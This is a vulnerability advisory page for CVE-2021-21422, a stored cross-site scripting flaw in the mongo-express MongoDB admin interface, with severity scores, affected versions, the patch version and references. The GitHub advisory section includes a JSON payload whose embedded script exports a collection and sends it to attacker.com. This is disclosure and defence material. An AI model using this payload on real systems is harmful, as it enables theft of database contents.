8.1high
XSS Vulnerability in mongo-express
- Severity
- 8.1high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 1.57% (higher than 76% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-7p8h-86p5-wv3p
Description
mongo-express is a web-based MongoDB admin interface, written with Node.js and express. 1: As mentioned in this issue: https://github.com/mongo-express/mongo-express/issues/577, when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2: Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use a payload with embedded javascript. This could send an export of a collection to the attacker without even an admin knowing. Other types of attacks such as dropping a database\collection are possible.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| mongo-express mongo-express | < v1.0.0-alpha.4 | CVE List |
| mongo-express (npm) | before 1.0.0-alpha.4 | GitHub Advisory Database |
| mongo-express_project mongo-express | up to 0.54.0, 1.0.0 | NVD |
All scores
| GitHub_M | 8.1high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| GitHub | 8.1high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| NVD | 6.1medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N |
| NVD | 4.3medium CVSS:2.0 | AV:N/AC:M/Au:N/C:N/I:P/A:N |
Classification
What each source says
CVE List
mongo-express is a web-based MongoDB admin interface, written with Node.js and express. 1: As mentioned in this issue: https://github.com/mongo-express/mongo-express/issues/577, when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2: Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use a payload with embedded javascript. This could send an export of a collection to the attacker without even an admin knowing. Other types of attacks such as dropping a database\collection are possible.
GitHub Advisory Database
Two kinds of XSS were found:
- As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
- Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.
Impact
As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:
{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>" }
This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.
Patches
Upgrade to v1.0.0-alpha.4
For more information
If you have any questions or comments about this advisory:
- Open an issue in mongo-express
- Email me at jafar.akhoondali@gmail.com
NVD (es)
mongo-express es una interfaz de administración de MongoDB basada en la web, escrita con Node.js y express. 1: Como se menciona en este tema: https://github.com/mongo-express/mongo-express/issues/577, cuando el contenido de una celda crece más que el tamaño soportado, al hacer clic en una fila se mostrará el documento completo sin escapar, sin embargo esto necesita la interacción del administrador en la celda. 2: Las celdas de datos identificadas como medios de comunicación se renderizarán como medios de comunicación, sin ser saneados. Ejemplo de diferentes renderizados: imagen, audio, video, etc. Como ejemplo de ataque de tipo 1, un usuario no autorizado que sólo puede enviar una gran cantidad de datos en un campo de un documento puede utilizar una carga útil con javascript insertado. Esto podría enviar una exportación de una colección al atacante sin que ni siquiera un administrador lo sepa. Otros tipos de ataques, como la caída de base de datos\colección , son posibles
References
| https://github.com/mongo-express/mongo-express/security/advisories/GHSA-7p8h-86p5-wv3p | exploit, third-party-advisory, web | |
| https://github.com/mongo-express/mongo-express/issues/577 | exploit, third-party-advisory, web | |
| https://github.com/mongo-express/mongo-express/commit/f5e0d4931f856f032f22664b5e5901d5950cfd4b | patch, third-party-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2021-21422 | advisory | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2021-21422 changed 2024-08-03 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-7p8h-86p5-wv3p changed 2026-07-08 | CC-BY-4.0 |
| NVD | CVE-2021-21422 changed 2026-06-17 | Public domain |